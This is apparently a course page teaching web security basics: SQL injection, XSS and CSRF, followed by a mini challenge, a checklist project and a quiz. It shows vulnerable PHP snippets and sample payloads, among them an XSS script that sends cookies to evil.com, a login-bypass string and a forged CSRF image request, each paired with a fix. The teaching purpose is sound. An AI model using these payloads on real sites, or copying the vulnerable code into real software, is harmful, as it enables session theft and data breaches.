𓂀
𓋹
WARMUP 5 min

How Websites Work

Every time you visit a website, your browser sends an HTTP request to a server, which responds with HTML, CSS, and JavaScript. But what happens between the request and response — and what happens when that process is exploited?

HTTP REQUEST
Method, headers, parameters, cookies
HTTP RESPONSE
Status code, headers, body content
ATTACK SURFACE
Every input is a potential exploit vector
CORE 45 min
𓂀𓋹
SQL Injection (SQLi)

SQLi occurs when user input is directly concatenated into SQL queries. Attackers can bypass authentication, extract data, or even drop tables.

Vulnerable code:

$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

Payload: ' OR 1=1 -- bypasses authentication entirely.

Fix: Use prepared statements or parameterised queries — never trust user input.
Cross-Site Scripting (XSS)

XSS lets attackers inject malicious scripts into web pages viewed by others. Stored XSS saves the payload on the server; Reflected XSS delivers it through a crafted link.

Vulnerable code:

echo "Welcome, " . $_GET['username'];

Payload: <script>document.location='https://evil.com/?c='+document.cookie</script>

Fix: Encode output with htmlspecialchars() or use a CSP header.
Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user into performing actions they didn't intend — like changing their email or transferring funds — by embedding a forged request in an image or link.

<img src="https://bank.com/transfer?amount=1000&to=attacker" />

If the user is logged in, the browser automatically includes their session cookie.

Fix: Use CSRF tokens, SameSite cookies, or re-authentication for sensitive actions.
MINI CHALLENGE 10 min
𓂀𓋹
Identify the OWASP Vulnerability

Read each scenario and identify which OWASP Top 10 vulnerability is being described:

Scenario A: An attacker submits a review on an e-commerce site. When other users view the review page, a script steals their session cookies.

Scenario B: A logged-in user clicks a link that silently changes their account email address because the request is automatically authenticated.

Scenario C: An attacker enters ' UNION SELECT * FROM passwords -- into a login form and dumps the entire user table.

MAIN PROJECT 4 hours
𓂀𓋹
Create a Web App Security Checklist

Design a comprehensive security checklist for deploying a production web application. Cover at least eight categories:

Authentication & Session Management
Input Validation & Sanitisation
HTTPS & Secure Headers
CSRF Protection
SQL Injection Prevention
XSS Mitigation
File Upload Security
Logging & Monitoring
QUIZ 10 min
𓂀𓋹
Web Security Quiz

1. Which attack injects malicious scripts into a web page viewed by others?

SQL Injection
XSS
CSRF

2. What is the best defence against SQL injection?

Input masking
Prepared statements
HTTPS

3. CSRF exploits which feature of HTTP?

Automatic cookie inclusion in requests
URL encoding
HTTP methods